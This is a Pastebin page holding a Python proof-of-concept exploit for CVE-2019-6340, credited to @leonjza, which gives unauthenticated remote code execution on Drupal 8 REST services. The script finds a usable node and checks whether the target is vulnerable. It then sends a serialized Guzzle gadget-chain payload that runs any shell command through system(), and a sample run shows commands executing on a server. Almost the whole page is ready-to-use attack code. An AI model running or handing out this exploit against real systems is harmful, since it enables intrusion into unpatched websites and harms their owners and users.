SHARE
TWEET

Drupal < 8.6.9 - REST Module Remote Code Execution

ToKeiChun Apr 21st, 2019 94 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env python3
  2.  
  3. # CVE-2019-6340 Drupal <= 8.6.9 REST services RCE PoC
  4. # 2019 @leonjza
  5.  
  6. # Technical details for this exploit is available at:
  7. #   https://www.drupal.org/sa-core-2019-003
  8. #   https://www.ambionics.io/blog/drupal8-rce
  9. #   https://twitter.com/jcran/status/1099206271901798400
  10.  
  11. # Sample usage:
  12. #
  13. # $ python cve-2019-6340.py http://127.0.0.1/ "ps auxf"
  14. # CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC
  15. #  by @leonjza
  16. #
  17. # References:
  18. #  https://www.drupal.org/sa-core-2019-003
  19. #  https://www.ambionics.io/blog/drupal8-rce
  20. #
  21. # [warning] Caching heavily affects reliability of this exploit.
  22. # Nodes are used as they are discovered, but once they are done,
  23. # you will have to wait for cache expiry.
  24. #
  25. # Targeting http://127.0.0.1/...
  26. # [+] Finding a usable node id...
  27. # [x] Node enum found a cached article at: 2, skipping
  28. # [x] Node enum found a cached article at: 3, skipping
  29. # [+] Using node_id 4
  30. # [+] Target appears to be vulnerable!
  31. #
  32. # USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
  33. # root        49  0.0  0.0   4288   716 pts/0    Ss+  16:38   0:00 sh
  34. # root         1  0.0  1.4 390040 30540 ?        Ss   15:20   0:00 apache2 -DFOREGROUND
  35. # www-data    24  0.1  2.8 395652 57912 ?        S    15:20   0:08 apache2 -DFOREGROUND
  36. # www-data    27  0.1  2.9 396152 61108 ?        S    15:20   0:08 apache2 -DFOREGROUND
  37. # www-data    31  0.0  3.4 406304 70408 ?        S    15:22   0:04 apache2 -DFOREGROUND
  38. # www-data    39  0.0  2.7 398472 56852 ?        S    16:14   0:02 apache2 -DFOREGROUND
  39. # www-data    44  0.2  3.2 402208 66080 ?        S    16:37   0:05 apache2 -DFOREGROUND
  40. # www-data    56  0.0  2.6 397988 55060 ?        S    16:38   0:01 apache2 -DFOREGROUND
  41. # www-data    65  0.0  2.3 394252 48460 ?        S    16:40   0:01 apache2 -DFOREGROUND
  42. # www-data    78  0.0  2.5 400996 51320 ?        S    16:47   0:01 apache2 -DFOREGROUND
  43. # www-data   117  0.0  0.0   4288   712 ?        S    17:20   0:00  \_ sh -c echo
  44.  
  45. import sys
  46. from urllib.parse import urlparse, urljoin
  47.  
  48. import requests
  49.  
  50.  
  51. def build_url(*args) -> str:
  52.     """
  53.         Builds a URL
  54.     """
  55.  
  56.     f = ''
  57.     for x in args:
  58.         f = urljoin(f, x)
  59.  
  60.     return f
  61.  
  62.  
  63. def uri_valid(x: str) -> bool:
  64.     """
  65.         https://stackoverflow.com/a/38020041
  66.     """
  67.  
  68.     result = urlparse(x)
  69.     return all([result.scheme, result.netloc, result.path])
  70.  
  71.  
  72. def check_drupal_cache(r: requests.Response) -> bool:
  73.     """
  74.         Check if a response had the cache header.
  75.     """
  76.  
  77.     if 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT':
  78.         return True
  79.  
  80.     return False
  81.  
  82.  
  83. def find_article(base: str, f: int = 1, l: int = 100):
  84.     """
  85.         Find a target article that does not 404 and is not cached
  86.     """
  87.  
  88.     while f < l:
  89.         u = build_url(base, '/node/', str(f))
  90.         r = requests.get(u)
  91.  
  92.         if check_drupal_cache(r):
  93.             print(f'[x] Node enum found a cached article at: {f}, skipping')
  94.             f += 1
  95.             continue
  96.  
  97.         # found an article?
  98.         if r.status_code == 200:
  99.             return f
  100.         f += 1
  101.  
  102.  
  103. def check(base: str, node_id: int) -> bool:
  104.     """
  105.         Check if the target is vulnerable.
  106.     """
  107.  
  108.     payload = {
  109.         "_links": {
  110.             "type": {
  111.                 "href": f"{urljoin(base, '/rest/type/node/INVALID_VALUE')}"
  112.             }
  113.         },
  114.         "type": {
  115.             "target_id": "article"
  116.         },
  117.         "title": {
  118.             "value": "My Article"
  119.         },
  120.         "body": {
  121.             "value": ""
  122.         }
  123.     }
  124.  
  125.     u = build_url(base, '/node/', str(node_id))
  126.     r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})
  127.  
  128.     if check_drupal_cache(r):
  129.         print(f'Checking if node {node_id} is vuln returned cache HIT, ignoring')
  130.         return False
  131.  
  132.     if 'INVALID_VALUE does not correspond to an entity on this site' in r.text:
  133.         return True
  134.  
  135.     return False
  136.  
  137.  
  138. def exploit(base: str, node_id: int, cmd: str):
  139.     """
  140.         Exploit using the Guzzle Gadgets
  141.     """
  142.  
  143.     # pad a easy search replace output:
  144.     cmd = 'echo ---- & ' + cmd
  145.     payload = {
  146.         "link": [
  147.             {
  148.                 "value": "link",
  149.                 "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000"
  150.                            "GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\""
  151.                            "close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:"
  152.                            "{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";"
  153.                            "s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000"
  154.                            "stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000"
  155.                            "GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\""
  156.                            "resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
  157.                            "".replace('|size|', str(len(cmd))).replace('|command|', cmd)
  158.             }
  159.         ],
  160.         "_links": {
  161.             "type": {
  162.                 "href": f"{urljoin(base, '/rest/type/shortcut/default')}"
  163.             }
  164.         }
  165.     }
  166.  
  167.     u = build_url(base, '/node/', str(node_id))
  168.     r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})
  169.  
  170.     if check_drupal_cache(r):
  171.         print(f'Exploiting {node_id} returned cache HIT, may have failed')
  172.  
  173.     if '----' not in r.text:
  174.         print('[warn] Command execution _may_ have failed')
  175.  
  176.     print(r.text.split('----')[1])
  177.  
  178.  
  179. def main(base: str, cmd: str):
  180.     """
  181.         Execute an OS command!
  182.     """
  183.  
  184.     print('[+] Finding a usable node id...')
  185.     article = find_article(base)
  186.     if not article:
  187.         print('[!] Unable to find a node ID to reference. Check manually?')
  188.         return
  189.  
  190.     print(f'[+] Using node_id {article}')
  191.  
  192.     vuln = check(base, article)
  193.     if not vuln:
  194.         print('[!] Target does not appear to be vulnerable.')
  195.         print('[!] It may also simply be a caching issue, so maybe just try again later.')
  196.         return
  197.     print(f'[+] Target appears to be vulnerable!')
  198.  
  199.     exploit(base, article, cmd)
  200.  
  201.  
  202. if __name__ == '__main__':
  203.  
  204.     print('CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC')
  205.     print(' by @leonjza\n')
  206.     print('References:\n'
  207.           ' https://www.drupal.org/sa-core-2019-003\n'
  208.           ' https://www.ambionics.io/blog/drupal8-rce\n')
  209.     print('[warning] Caching heavily affects reliability of this exploit.\n'
  210.           'Nodes are used as they are discovered, but once they are done,\n'
  211.           'you will have to wait for cache expiry.\n')
  212.  
  213.     if len(sys.argv) <= 2:
  214.         print(f'Usage: {sys.argv[0]} <target base URL> <command>')
  215.         print(f'    Example: {sys.argv[0]} http://127.0.0.1/ id')
  216.  
  217.     target = sys.argv[1]
  218.     command = sys.argv[2]
  219.     if not uri_valid(target):
  220.         print(f'Target {target} is not a valid URL')
  221.         sys.exit(1)
  222.  
  223.     print(f'Targeting {target}...')
  224.     main(target, command)
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top